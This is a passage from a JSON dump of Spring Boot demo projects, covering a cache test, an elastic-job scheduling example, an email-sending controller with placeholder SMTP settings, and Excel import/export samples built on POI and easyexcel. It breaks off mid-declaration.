    "content": "\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.cache.CacheManager;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport com.springboot.Application;\nimport com.springboot.bean.Student;\nimport com.springboot.service.StudentService;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class ApplicationTest {\n\n\t@Autowired\n\tprivate StudentService studentService;\n\t\n\n\t@Test\n    public void test1() throws Exception {\n        Student student1 = this.studentService.queryStudentBySno(\"001\");\n        System.out.println(\"学号\" + student1.getSno() + \"的学生姓名为：\" + student1.getName());\n        \n        Student student2 = this.studentService.queryStudentBySno(\"001\");\n        System.out.println(\"学号\" + student2.getSno() + \"的学生姓名为：\" + student2.getName());\n    }\n\t\n\t@Test\n\tpublic void test2() throws Exception {\n\t\t\n\t\tStudent student1 = this.studentService.queryStudentBySno(\"001\");\n\t\tSystem.out.println(\"学号\" + student1.getSno() + \"的学生姓名为：\" + student1.getName());\n\n\t\tstudent1.setName(\"康康\");\n\t\tthis.studentService.update(student1);\n\t\t\n\t\tStudent student2 = this.studentService.queryStudentBySno(\"001\");\n\t\tSystem.out.println(\"学号\" + student2.getSno() + \"的学生姓名为：\" + student2.getName());\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_elastic_job/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.1.8.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_elastic_job</artifactId>\n\t<version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n\n        <!-- 引入elastic-job-lite核心模块 -->\n        <dependency>\n            <groupId>com.dangdang</groupId>\n            <artifactId>elastic-job-lite-core</artifactId>\n            <version>2.1.5</version>\n        </dependency>\n        <dependency>\n            <groupId>com.dangdang</groupId>\n            <artifactId>elastic-job-lite-spring</artifactId>\n            <version>2.1.5</version>\n\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.20</version> <!-- 1.8.x 最佳兼容版本 -->\n            <scope>provided</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-compiler-plugin</artifactId>\n            <!-- 降级到 3.8.0 或 3.1 -->\n            <version>3.8.0</version>\n            <configuration>\n                <source>1.8</source>\n                <target>1.8</target>\n                <encoding>UTF-8</encoding>\n                <!-- 移除 Java 9+ 的 compilerArgs（JDK 1.8 不需要） -->\n                <!-- <compilerArgs>\n                    <arg>- - add-modules</arg>\n                    <arg>java.xml.ws,java.xml.bind</arg>\n                </compilerArgs> -->\n            </configuration>\n        </plugin>\n    </plugins>\n</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_elastic_job/src/main/java/com/jun/plugin/elasticjob/DemoElasticJobApplication.java",
    "content": "package com.jun.plugin.elasticjob;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class DemoElasticJobApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(DemoElasticJobApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_elastic_job/src/main/java/com/jun/plugin/elasticjob/com/JobRegistryCenterConfig.java",
    "content": "package com.jun.plugin.elasticjob.com;\n\nimport com.dangdang.ddframe.job.reg.zookeeper.ZookeeperConfiguration;\nimport com.dangdang.ddframe.job.reg.zookeeper.ZookeeperRegistryCenter;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\n@ConditionalOnExpression(\"'${regCenter.serverList}'.length() > 0\")\npublic class JobRegistryCenterConfig {\n\n    @Bean(initMethod = \"init\")\n    public ZookeeperRegistryCenter regCenter(@Value(\"${regCenter.serverList}\") final String serverList,\n                                             @Value(\"${regCenter.namespace}\") final String namespace) {\n        return new ZookeeperRegistryCenter(new ZookeeperConfiguration(serverList, namespace));\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_elastic_job/src/main/java/com/jun/plugin/elasticjob/com/MyJobConfig.java",
    "content": "package com.jun.plugin.elasticjob.com;\n\nimport com.dangdang.ddframe.job.api.simple.SimpleJob;\nimport com.dangdang.ddframe.job.config.JobCoreConfiguration;\nimport com.dangdang.ddframe.job.config.simple.SimpleJobConfiguration;\nimport com.dangdang.ddframe.job.lite.api.JobScheduler;\nimport com.dangdang.ddframe.job.lite.config.LiteJobConfiguration;\nimport com.dangdang.ddframe.job.lite.spring.api.SpringJobScheduler;\nimport com.dangdang.ddframe.job.reg.zookeeper.ZookeeperRegistryCenter;\nimport com.jun.plugin.elasticjob.com.job.MySimpleJob;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\npublic class MyJobConfig {\n\n    private final String cron = \"0/5 * * * * ?\";\n    private final int shardingTotalCount = 3;\n    private final String shardingItemParameters = \"0=A,1=B,2=C\";\n    private final String jobParameters = \"parameter\";\n\n    @Autowired\n    private ZookeeperRegistryCenter regCenter;\n\n    @Bean\n    public SimpleJob stockJob() {\n        return new MySimpleJob();\n    }\n\n    @Bean(initMethod = \"init\")\n    public JobScheduler simpleJobScheduler(final SimpleJob simpleJob) {\n        return new SpringJobScheduler(simpleJob, regCenter, getLiteJobConfiguration(simpleJob.getClass(),\n                cron, shardingTotalCount, shardingItemParameters, jobParameters));\n    }\n\n    private LiteJobConfiguration getLiteJobConfiguration(final Class<? extends SimpleJob> jobClass,\n                                                         final String cron,\n                                                         final int shardingTotalCount,\n                                                         final String shardingItemParameters,\n                                                         final String jobParameters) {\n        // 定义作业核心配置\n        JobCoreConfiguration simpleCoreConfig = JobCoreConfiguration.newBuilder(jobClass.getName(), cron, shardingTotalCount).\n                shardingItemParameters(shardingItemParameters).jobParameter(jobParameters).build();\n        // 定义SIMPLE类型配置\n        SimpleJobConfiguration simpleJobConfig = new SimpleJobConfiguration(simpleCoreConfig, jobClass.getCanonicalName());\n        // 定义Lite作业根配置\n        LiteJobConfiguration simpleJobRootConfig = LiteJobConfiguration.newBuilder(simpleJobConfig).overwrite(true).build();\n        return simpleJobRootConfig;\n\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_elastic_job/src/main/java/com/jun/plugin/elasticjob/com/job/MySimpleJob.java",
    "content": "package com.jun.plugin.elasticjob.com.job;\n\nimport com.dangdang.ddframe.job.api.ShardingContext;\nimport com.dangdang.ddframe.job.api.simple.SimpleJob;\nimport lombok.extern.slf4j.Slf4j;\n\n@Slf4j\npublic class MySimpleJob implements SimpleJob {\n    @Override\n    public void execute(ShardingContext shardingContext) {\n        log.info(String.format(\"Thread ID: %s, 作业分片总数: %s, \" +\n                        \"当前分片项: %s.当前参数: %s,\" +\n                        \"作业名称: %s.作业自定义参数: %s\"\n                ,\n                Thread.currentThread().getId(),\n                shardingContext.getShardingTotalCount(),\n                shardingContext.getShardingItem(),\n                shardingContext.getShardingParameter(),\n                shardingContext.getJobName(),\n                shardingContext.getJobParameter()\n        ));\n\n\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_elastic_job/src/main/resources/application.properties",
    "content": "spring.application.name=springboot2_elasticjob\n\nregCenter.serverList=10.16.37.112:3181\nregCenter.namespace=springboot2_elasticjob\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_elastic_job/src/test/java/com/jun/plugin/elasticjob/DemoElasticJobApplicationTests.java",
    "content": "package com.jun.plugin.elasticjob;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class DemoElasticJobApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_email/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_email</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.9.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.7</java.version>\n\t\t<thymeleaf.version>3.0.2.RELEASE</thymeleaf.version>\n    \t<thymeleaf-layout-dialect.version>2.0.1</thymeleaf-layout-dialect.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t    <groupId>org.springframework.boot</groupId>\n\t\t    <artifactId>spring-boot-starter-mail</artifactId>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t    <groupId>org.springframework.boot</groupId>\n\t\t    <artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>\n\t</dependencies>\n\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>nexus-aliyun</id>\n\t\t\t<name>Nexus aliyun</name>\n\t\t\t<url>http://maven.aliyun.com/nexus/content/groups/public</url>\n\t\t</repository>\n\t</repositories>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_email/src/main/java/com/springboot/demo/DemoApplication.java",
    "content": "package com.springboot.demo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class DemoApplication {\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(DemoApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_email/src/main/java/com/springboot/demo/controller/EmailController.java",
    "content": "package com.springboot.demo.controller;\n\nimport java.io.File;\n\nimport javax.mail.internet.MimeMessage;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.core.io.FileSystemResource;\nimport org.springframework.mail.SimpleMailMessage;\nimport org.springframework.mail.javamail.JavaMailSender;\nimport org.springframework.mail.javamail.MimeMessageHelper;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.thymeleaf.TemplateEngine;\nimport org.thymeleaf.context.Context;\n\n@RestController\n@RequestMapping(\"/email\")\npublic class EmailController {\n\n\t@Autowired\n\tprivate JavaMailSender jms;\n\n\t@Value(\"${spring.mail.username}\")\n\tprivate String from;\n\t\n    @Autowired\n    private TemplateEngine templateEngine;\n\n\t@RequestMapping(\"sendSimpleEmail\")\n\tpublic String sendSimpleEmail() {\n\t\ttry {\n\t\t\tSimpleMailMessage message = new SimpleMailMessage();\n\t\t\tmessage.setFrom(from);\n\t\t\tmessage.setTo(\"888888@qq.com\"); // 接收地址\n\t\t\tmessage.setSubject(\"一封简单的邮件\"); // 标题\n\t\t\tmessage.setText(\"使用Spring Boot发送简单邮件。\"); // 内容\n\t\t\tjms.send(message);\n\t\t\treturn \"发送成功\";\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn e.getMessage();\n\t\t}\n\t}\n\n\t@RequestMapping(\"sendHtmlEmail\")\n\tpublic String sendHtmlEmail() {\n\t\tMimeMessage message = null;\n\t\ttry {\n\t\t\tmessage = jms.createMimeMessage();\n\t\t\tMimeMessageHelper helper = new MimeMessageHelper(message, true);\n\t\t\thelper.setFrom(from); \n\t\t\thelper.setTo(\"888888@qq.com\"); // 接收地址\n\t\t\thelper.setSubject(\"一封HTML格式的邮件\"); // 标题\n\t\t\t// 带HTML格式的内容\n\t\t\tStringBuffer sb = new StringBuffer(\"<p style='color:#42b983'>使用Spring Boot发送HTML格式邮件。</p>\");\n\t\t\thelper.setText(sb.toString(), true);\n\t\t\tjms.send(message);\n\t\t\treturn \"发送成功\";\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn e.getMessage();\n\t\t}\n\t}\n\t\n\t@RequestMapping(\"sendAttachmentsMail\")\n\tpublic String sendAttachmentsMail() {\n\t\tMimeMessage message = null;\n\t\ttry {\n\t\t\tmessage = jms.createMimeMessage();\n\t\t\tMimeMessageHelper helper = new MimeMessageHelper(message, true);\n\t\t\thelper.setFrom(from); \n\t\t\thelper.setTo(\"888888@qq.com\"); // 接收地址\n\t\t\thelper.setSubject(\"一封带附件的邮件\"); // 标题\n\t\t\thelper.setText(\"详情参见附件内容！\"); // 内容\n\t\t\t// 传入附件\n\t\t\tFileSystemResource file = new FileSystemResource(new File(\"src/main/resources/static/file/项目文档.docx\"));\n            helper.addAttachment(\"项目文档.docx\", file);\n            jms.send(message);\n\t\t\treturn \"发送成功\";\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn e.getMessage();\n\t\t}\n\t}\n\t\n\t@RequestMapping(\"sendInlineMail\")\n\tpublic String sendInlineMail() {\n\t\tMimeMessage message = null;\n\t\ttry {\n\t\t\tmessage = jms.createMimeMessage();\n\t\t\tMimeMessageHelper helper = new MimeMessageHelper(message, true);\n\t\t\thelper.setFrom(from); \n\t\t\thelper.setTo(\"888888@qq.com\"); // 接收地址\n\t\t\thelper.setSubject(\"一封带静态资源的邮件\"); // 标题\n\t\t\thelper.setText(\"<html><body>博客图：<img src='cid:img'/></body></html>\", true); // 内容\n\t\t\t// 传入附件\n\t\t\tFileSystemResource file = new FileSystemResource(new File(\"src/main/resources/static/img/sunshine.png\"));\n            helper.addInline(\"img\", file); \n            jms.send(message);\n\t\t\treturn \"发送成功\";\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn e.getMessage();\n\t\t}\n\t}\n\t\n\t@RequestMapping(\"sendTemplateEmail\")\n\tpublic String sendTemplateEmail(String code) {\n\t\tMimeMessage message = null;\n\t\ttry {\n\t\t\tmessage = jms.createMimeMessage();\n\t\t\tMimeMessageHelper helper = new MimeMessageHelper(message, true);\n\t\t\thelper.setFrom(from); \n\t\t\thelper.setTo(\"888888@qq.com\"); // 接收地址\n\t\t\thelper.setSubject(\"邮件摸板测试\"); // 标题\n\t\t\t// 处理邮件模板\n\t\t    Context context = new Context();\n\t\t    context.setVariable(\"code\", code);\n\t\t    String template = templateEngine.process(\"emailTemplate\", context);\n\t\t\thelper.setText(template, true);\n\t\t\tjms.send(message);\n\t\t\treturn \"发送成功\";\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn e.getMessage();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_email/src/main/resources/application.yml",
    "content": "server:\n  port: 80\n\nspring:\n  mail:\n    host: smtp.163.com\n    username: xxxx@163.com\n    password: xxxx\n    properties:\n      mail:\n        smtp:\n          auth: true\n          starttls:\n            enable: true\n            required: true"
  },
  {
    "path": "jun_springboot_plugin/springboot_email/src/main/resources/templates/emailTemplate.html",
    "content": "<!DOCTYPE html>\n<html lang=\"zh\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\" />\n    <title>模板</title>\n</head>\n<body>\n    您好，您的验证码为<span th:text=\"${code}\"></span>，请在两分钟内使用完成操作。\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_email/src/test/java/com/springboot/demo/DemoApplicationTests.java",
    "content": "package com.springboot.demo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class DemoApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/README.md",
    "content": "# excel操作示例\n\n## 概述\n\n### Excel的两种版本\n\n目前世面上的Excel分为两个大的版本Excel2003和Excel2007及以上两个版本；\n两者之间的区别如下：\n\n![1585643739275](assets/1585643739275.png)\n\nExcel2003 是一个特有的二进制格式，其核心结构是复合文档类型的结构，存储数据量较小；\n\nExcel2007 的核心结构是 XML 类型的结构，采用的是基于 XML 的压缩方式，使其占用的空间更小，操作效率更高\n\n### POI操作Excel高低版本区别\n\n在POI包中有如下几个主要对象和excel的几个对象对应：\n\n| 对应excel名称 | 低版本中的类名 | 高版本中的类名 |\n| :------------ | :------------- | :------------- |\n| 工作簿        | HSSFWorkbook   | XSSFWorkbook   |\n| 工作表        | HSSFSheet      | XSSFSheet      |\n| 行            | HSSFRow        | XSSFRow        |\n| 单元格        | HSSFCell       | XSSFCell       |\n| 单元格样式    | HSSFCellStyle  | XSSFCellStyle  |\n\n\n\n\n\n## 推荐\n\n**强烈推荐使用easyexcel，理由：**\n\n1. 操作简单快捷\n2. 解决原生POI在SAX模式下的内存溢出的问题\n3. 文档完善\n\neasyexcel地址：https://github.com/alibaba/easyexcel\n\neasyexcel文档：https://www.yuque.com/easyexcel/doc/easyexcel"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_excel</artifactId>\n\t<version>1.0</version>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n        <hutool.version>5.5.8</hutool.version>\n        <knife4j.version>2.0.7</knife4j.version>\n    </properties>\n\n    <dependencies>\n        <!-- web启动 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <!--ApachePOI-->\n        <!--poi坐标-->\n        <!--        <dependency>-->\n        <!--            <groupId>org.apache.poi</groupId>-->\n        <!--            <artifactId>poi</artifactId>-->\n        <!--            <version>5.0.0</version>-->\n        <!--        </dependency>-->\n        <!--        <dependency>-->\n        <!--            <groupId>org.apache.poi</groupId>-->\n        <!--            <artifactId>poi-ooxml</artifactId>-->\n        <!--            <version>5.0.0</version>-->\n        <!--        </dependency>-->\n        <!-- csv导出 -->\n        <!--        <dependency>-->\n        <!--            <groupId>org.apache.commons</groupId>-->\n        <!--            <artifactId>commons-csv</artifactId>-->\n        <!--            <version>1.8</version>-->\n        <!--        </dependency>-->\n\n        <!-- 阿里的easyExcel,已集成poi，若项目原有poi要注意版本冲突 -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>easyexcel</artifactId>\n            <version>3.0.5</version>\n        </dependency>\n\n        <!-- 糊涂用具类 -->\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>${hutool.version}</version>\n        </dependency>\n\n        <!-- 新版本  -->\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>${knife4j.version}</version>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/ExcelApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n **/\n@SpringBootApplication\npublic class ExcelApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(ExcelApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/controller/EasyExcelController.java",
    "content": "package com.example.controller;\n\nimport com.example.service.IEasyExcelService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.web.multipart.MultipartFile;\n\n\n/**\n * <p>\n * easyexcel示例\n * </p>\n *\n * @author MrWen\n **/\n@RestController\n@RequestMapping(\"/easy/excel\")\n@Api(tags = \"easyExcel框架测试\")\npublic class EasyExcelController {\n\n    @Autowired\n    private IEasyExcelService easyExcelService;\n\n    /**\n     * 支持xlsx，xls，csv格式导出\n     */\n    @GetMapping(\"/printExcel1\")\n    @ApiOperation(\"1普通excel导出\")\n    public void printExcel1() {\n        easyExcelService.printExcel1();\n    }\n\n    @GetMapping(\"/printExcel2\")\n    @ApiOperation(\"2模板导出(数据填充)\")\n    public void printExcel2() {\n        easyExcelService.printExcel2();\n    }\n\n    /**\n     * file测试数据：printExcel1接口的导出结果即可\n     * 参考：https://www.yuque.com/easyexcel/doc/read\n     */\n    @PostMapping(\"/importExcel\")\n    @ApiOperation(\"3excel导入\")\n    public String importExcel(@RequestParam(\"file\") MultipartFile file) {\n        easyExcelService.importExcel(file);\n        return \"success\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/controller/PoiController.java",
    "content": "package com.example.controller;\n\nimport com.example.service.IPoiService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.web.multipart.MultipartFile;\n\n/**\n * <p>\n * poi示例\n * </p>\n *\n * @author MrWen\n **/\n@RestController\n@RequestMapping(\"/excel/poi\")\n@Api(tags = \"原生poi示例\")\npublic class PoiController {\n\n    @Autowired\n    private IPoiService poiService;\n\n\n    @GetMapping(\"/printExcel1\")\n    @ApiOperation(\"1普通excel的xls格式导出\")\n    public void printExcel1() {\n        poiService.printExcel1();\n    }\n\n    @GetMapping(\"/printExcel2\")\n    @ApiOperation(\"2模板导出\")\n    public void printExcel2() {\n        poiService.printExcel2();\n    }\n\n    /**\n     * 百万数据导出  xlsx最多只能 1048576\n     * 样式最多64000\n     */\n    @GetMapping(\"/printExcel3\")\n    @ApiOperation(\"3.1百万数据打印输出\")\n    public void printExcel3() {\n        poiService.printExcel3();\n    }\n\n    /**\n     * 100万条以上数据，用excel会报错。 xlsx最多只能1048576\n     * 1048576以上的，只能用csv\n     */\n    @GetMapping(\"/printCsv\")\n    @ApiOperation(\"3.2百万数据打印输出csv格式\")\n    public void printCsv() {\n        poiService.printCsv();\n    }\n\n\n    /**\n     * 数据量少的时候可以用。简单方便（10万以下呗）\n     * 一次全部加载到内存中，数据量大时会直接OOM，反正加载不完（测试：100万数据直接导入）\n     *\n     * @param file 测试数据：printExcel1或printExcel3接口的导出结果即可\n     */\n    @PostMapping(\"/importExcel\")\n    @ApiOperation(\"4excel导入（少量数据）\")\n    public String importExcel(@RequestParam(\"file\") MultipartFile file) {\n        poiService.importExcel(file);\n        return \"success\";\n    }\n\n    /**\n     * 百万数据-大数据导入（只支持xlsx格式）\n     * 解析是一条条解析，并不是全部加载到内存中。所以不会有OOM问题\n     *\n     * @param file 测试数据：printExcel1或printExcel3接口的导出结果即可\n     */\n    @PostMapping(\"/importExcel2\")\n    @ApiOperation(\"5excel导入-百万数据\")\n    public String importExcel2(@RequestParam(\"file\") MultipartFile file) {\n        poiService.importExcel2(file);\n        return \"success\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/dto/DemoData.java",
    "content": "package com.example.dto;\n\nimport com.alibaba.excel.annotation.ExcelIgnore;\nimport com.alibaba.excel.annotation.ExcelProperty;\nimport com.alibaba.excel.annotation.format.DateTimeFormat;\nimport com.alibaba.excel.annotation.write.style.HeadStyle;\nimport com.alibaba.excel.enums.poi.FillPatternTypeEnum;\nimport lombok.Data;\n\nimport java.util.Date;\n\n/**\n * 基础数据类\n *\n * @author Jiaju Zhuang\n **/\n@Data\n// 头背景设置颜色设置\n@HeadStyle(fillPatternType = FillPatternTypeEnum.SOLID_FOREGROUND, fillForegroundColor = 23)\npublic class DemoData {\n    @ExcelProperty(\"字符串标题\")\n    private String string;\n\n    @ExcelProperty(\"日期标题\")\n    private Date date;\n\n    @DateTimeFormat(\"yyyy年MM月dd日HH时mm分ss秒\")\n    @ExcelProperty(value = \"格式化日期标题\")\n    private Date dateFrom;\n\n    @ExcelProperty(\"数字标题\")\n    private Double doubleData;\n\n    /**\n     * 忽略这个字段\n     */\n    @ExcelIgnore\n    private String ignore;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/service/IEasyExcelService.java",
    "content": "package com.example.service;\n\nimport org.springframework.web.multipart.MultipartFile;\n\n/**\n * <p>\n * easyexcel示例\n * </p>\n *\n * @author MrWen\n **/\npublic interface IEasyExcelService {\n\n    /**\n     * 1普通excel xls格式导出 能支持xlsx，xls，csv格式导出\n     */\n    void printExcel1();\n\n    /**\n     * 2模板导出(数据填充)  能支持xlsx，xls，csv格式导出\n     */\n    void printExcel2();\n\n    /**\n     * 3excel导入  能支持xlsx，xls，csv格式\n     * 参考：https://www.yuque.com/easyexcel/doc/read\n     *\n     * @param file excel文件（测试数据：printExcel1接口的导出结果即可）\n     */\n    void importExcel(MultipartFile file);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/service/IPoiService.java",
    "content": "package com.example.service;\n\nimport org.springframework.web.multipart.MultipartFile;\n\n/**\n * <p>\n * poi示例\n * </p>\n *\n * @author MrWen\n * @since 2022-02-05 18:10\n */\npublic interface IPoiService {\n\n    /**\n     * 1普通excel xls格式导出\n     */\n    void printExcel1();\n\n    /**\n     * 2模板导出\n     * xls格式--HSSFWorkbook\n     * xlsx格式--XSSFWorkbook\n     */\n    void printExcel2();\n\n    /**\n     * 3.1百万数据打印输出,不能模板导出\n     * 样式不能太多（最多64000） 用SXSSFWorkbook这个实体类  必须是.xlsx\n     */\n    void printExcel3();\n\n    /**\n     * 3.2百万数据打印输出csv格式\n     */\n    void printCsv();\n\n\n    /**\n     * excel导出（少量数据）\n     * 数据量少的时候可以用。简单方便（10万以下呗）\n     * 一次全部加载到内存中，数据量大时会直接OOM，反正加载不完（测试：100万数据直接导入）\n     *\n     * @param file 测试数据：printExcel1或printExcel3接口的导出结果即可\n     */\n    void importExcel(MultipartFile file);\n\n    /**\n     * 百万数据-大数据导入（只支持xlsx格式）\n     * 解析是一条条解析，并不是全部加载到内存中。所以不会有OOM问题\n     *\n     * @param file 测试数据：printExcel1或printExcel3接口的导出结果即可\n     */\n    void 